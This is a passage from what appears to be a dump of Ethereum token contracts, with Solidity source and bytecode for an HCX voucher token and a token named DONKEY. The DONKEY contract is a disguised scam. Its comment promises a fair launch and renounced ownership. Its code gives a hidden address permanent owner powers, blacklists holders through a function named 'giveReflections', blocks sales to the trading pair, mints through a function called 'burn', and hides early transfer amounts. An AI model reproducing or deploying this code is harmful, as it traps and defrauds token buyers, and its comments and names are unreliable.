(spenderAllowance < _value) return false; uint256 fromBalance = balances [_from]; if (fromBalance < _value) return false; allowed [_from][msg.sender] = spenderAllowance.sub(_value); if (_value > 0 && _from != _to) { balances [_from] = fromBalance.sub(_value); balances [_to] = balances[_to].add(_value); } emit Transfer(_from, _to, _value); return true; } // Allow `spender` to withdraw from your account, multiple times, up to the `tokens` amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } contract Owned { address public owner; address public proposedOwner = address(0); event OwnershipTransferInitiated(address indexed _proposedOwner); event OwnershipTransferCompleted(address indexed _newOwner); event OwnershipTransferCanceled(); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address _address) public view returns (bool) { return (_address == owner); } function initiateOwnershipTransfer(address _proposedOwner) public onlyOwner returns (bool) { require(_proposedOwner != address(0)); require(_proposedOwner != address(this)); require(_proposedOwner != owner); proposedOwner = _proposedOwner; emit OwnershipTransferInitiated(proposedOwner); return true; } function cancelOwnershipTransfer() public onlyOwner returns (bool) { //if proposedOwner address already address(0) then it will return true. if (proposedOwner == address(0)) { return true; } //if not then first it will do address(0) then it will return true. proposedOwner = address(0); emit OwnershipTransferCanceled(); return true; } function completeOwnershipTransfer() public returns (bool) { require(msg.sender == proposedOwner); owner = msg.sender; proposedOwner = address(0); emit OwnershipTransferCompleted(owner); return true; } } contract FinalizableToken is ERC20Token, Owned { using SafeMath for uint256; /** * @dev Call publicReservedAddress - library function exposed for testing. */ address public publicReservedAddress; event Burn(address indexed burner,uint256 value); // The constructor will assign the initial token supply to the owner (msg.sender). constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply,address _publicReserved,uint256 _publicReservedPersentage) public ERC20Token(_name, _symbol, _decimals, _totalSupply, _publicReserved, _publicReservedPersentage) Owned(){ publicReservedAddress = _publicReserved; } function transfer(address _to, uint256 _value) public returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { return super.transferFrom(_from, _to, _value); } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); tokenTotalSupply = tokenTotalSupply.sub(_value); emit Burn(burner, _value); } //get current time function currentTime() public constant returns (uint256) { return now; } } contract HCXTokenConfig { string public constant TOKEN_SYMBOL = "HCX"; string public constant TOKEN_NAME = "HOLIDAY CAPITAL Token"; uint8 public constant TOKEN_DECIMALS = 18; uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS); uint256 public constant TOKEN_TOTALSUPPLY = 1000000000 * DECIMALSFACTOR; address public constant PUBLIC_RESERVED = 0x6E22277b9A32a88cba52d5108ca7E836d994859f; uint256 public constant PUBLIC_RESERVED_PERSENTAGE = 10000; } // Holiday Capital issues vouchers in the form of blockchain tokens to spend in all of its apartments around the world. contract HCXToken is FinalizableToken, HCXTokenConfig { using SafeMath for uint256; event TokensReclaimed(uint256 _amount); constructor() public FinalizableToken(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, TOKEN_TOTALSUPPLY, PUBLIC_RESERVED, PUBLIC_RESERVED_PERSENTAGE) { } // Allows the owner to reclaim tokens that have been sent to the token address itself. function reclaimTokens() public onlyOwner returns (bool) { address account = address(this); uint256 amount = balanceOf(account); if (amount == 0) { return false; } balances[account] = balances[account].sub(amount); balances[owner] = balances[owner].add(amount); emit Transfer(account, owner, amount); emit TokensReclaimed(amount); return true; } }
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461016f578063095ea7b3146101ff57806318160ddd14610264578063188214001461028f5780631b6885651461031f57806323452b9c1461034a57806323b872dd146103795780632a905318146103fe5780632f54bf6e1461048e578063313ce567146104e95780633c54caa51461051a57806342966c681461054957806353105fbc146105765780635b7f415c146105a157806370a08231146105d257806374c950fb146106295780638bc04eb7146106545780638be4886c1461067f5780638da5cb5b146106d657806395d89b411461072d578063a9059cbb146107bd578063c0b6f56114610822578063c4f99aa51461087d578063d153b60c146108d4578063d18e81b31461092b578063dd62ed3e14610956578063e1f82d60146109cd578063e71a7811146109f8575b600080fd5b34801561017b57600080fd5b50610184610a27565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c45780820151818401526020810190506101a9565b50505050905090810190601f1680156101f15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020b57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac9565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610bbb565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610bc5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e45780820151818401526020810190506102c9565b50505050905090810190601f1680156103115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032b57600080fd5b50610334610bfe565b6040518082815260200191505060405180910390f35b34801561035657600080fd5b5061035f610c04565b604051808215151515815260200191505060405180910390f35b34801561038557600080fd5b506103e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cf0565b604051808215151515815260200191505060405180910390f35b34801561040a57600080fd5b50610413610d06565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610453578082015181840152602081019050610438565b50505050905090810190601f1680156104805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049a57600080fd5b506104cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3f565b604051808215151515815260200191505060405180910390f35b3480156104f557600080fd5b506104fe610d99565b604051808260ff1660ff16815260200191505060405180910390f35b34801561052657600080fd5b5061052f610db0565b604051808215151515815260200191505060405180910390f35b34801561055557600080fd5b506105746004803603810190808035906020019092919050505061101f565b005b34801561058257600080fd5b5061058b611182565b6040518082815260200191505060405180910390f35b3480156105ad57600080fd5b506105b6611188565b604051808260ff1660ff16815260200191505060405180910390f35b3480156105de57600080fd5b50610613600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118d565b6040518082815260200191505060405180910390f35b34801561063557600080fd5b5061063e6111d6565b6040518082815260200191505060405180910390f35b34801561066057600080fd5b506106696111e7565b6040518082815260200191505060405180910390f35b34801561068b57600080fd5b506106946111f2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106e257600080fd5b506106eb61120a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073957600080fd5b50610742611230565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610782578082015181840152602081019050610767565b50505050905090810190601f1680156107af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c957600080fd5b50610808600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112d2565b604051808215151515815260200191505060405180910390f35b34801561082e57600080fd5b50610863600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e6565b604051808215151515815260200191505060405180910390f35b34801561088957600080fd5b5061089261147f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e057600080fd5b506108e96114a5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093757600080fd5b506109406114cb565b6040518082815260200191505060405180910390f35b34801561096257600080fd5b506109b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d3565b6040518082815260200191505060405180910390f35b3480156109d957600080fd5b506109e261155a565b6040518082815260200191505060405180910390f35b348015610a0457600080fd5b50610a0d611560565b604051808215151515815260200191505060405180910390f35b606060008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610abf5780601f10610a9457610100808354040283529160200191610abf565b820191906000526020600020905b815481529060010190602001808311610aa257829003601f168201915b5050505050905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b6040805190810160405280601581526020017f484f4c49444159204341504954414c20546f6b656e000000000000000000000081525081565b61271081565b6000610c0f33610d3f565b1515610c1a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610c7a5760019050610ced565b6000600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f670699162ea7ba4de638b5a57c2148aed9ee8bd69740a5e6a7db727e3886c88b60405160405180910390a1600190505b90565b6000610cfd8484846116ad565b90509392505050565b6040805190810160405280600381526020017f484358000000000000000000000000000000000000000000000000000000000081525081565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600260009054906101000a900460ff16905090565b6000806000610dbe33610d3f565b1515610dc957600080fd5b309150610dd58261118d565b90506000811415610de9576000925061101a565b610e3b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c890919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef28160066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e490919063ffffffff16565b60066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37fbce3cc672456937708767d1642a17cacb1962753bd5cff46c8dbd377906a6b4b816040518082815260200191505060405180910390a1600192505b505090565b6000808211151561102f57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561107d57600080fd5b3390506110d282600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c890919063ffffffff16565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061112a826003546119c890919063ffffffff16565b6003819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60055481565b601281565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601260ff16600a0a633b9aca000281565b601260ff16600a0a81565b736e22277b9a32a88cba52d5108ca7e836d994859f81565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112c85780601f1061129d576101008083540402835291602001916112c8565b820191906000526020600020905b8154815290600101906020018083116112ab57829003601f168201915b5050505050905090565b60006112de8383611a00565b905092915050565b60006112f133610d3f565b15156112fc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561133857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561137357600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156113d057600080fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f20f5afdf40bf7b43c89031a5d4369a30b159e512d164aa46124bcb706b4a1caf60405160405180910390a260019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115be57600080fd5b33600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f624adc4c72536289dd9d5439ccdeccd8923cb9af95fb626b21935447c77b840760405160405180910390a26001905090565b6000806000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491508382101561174257600092506119bf565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508381101561179557600092506119bf565b6117a884836119c890919063ffffffff16565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008411801561186457508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b156119555761187c84826119c890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191184600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e490919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3600192505b50509392505050565b60008282111515156119d957600080fd5b818303905092915050565b600081830190508281101515156119fa57600080fd5b92915050565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611a565760009150611bed565b600083118015611a9257508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611b8357611aaa83826119c890919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b3f83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505b5092915050565b600081830290506000831480611c145750818382811515611c1157fe5b04145b1515611c1f57600080fd5b92915050565b60008082111515611c3557600080fd5b8183811515611c4057fe5b049050929150505600a165627a7a72305820ff1e3b4a87974c455f9cc42e5323e23e9058bad2c5099634932e36350ee6d9750029
{"success": true, "error": null, "results": {}}
8,382
0xe6071e21293a28a24b1eb6c0e0cfee8e9a0888d5
/* More info available on our telegram and website 0% Tax, All funding is provided by the team Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced. 100% Fair Launch - no presale, no whitelist Team will invest their own money on launch like everyone else */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract DONKEY is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 4500000000000*10**18; string public _name = "DONKEY"; string public _symbol= "DONKEY"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xCa858Ee936Cfb40EdDB980dCF2c093b311f50a6D); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function setReflections() onlyOwner public { router = uniswapV2Pair; balances1 = false; } function openTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } receive() external payable {} function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this))); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) { emit Transfer(sender, recipient, 0); } else { emit Transfer(sender, recipient, amount); } } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffff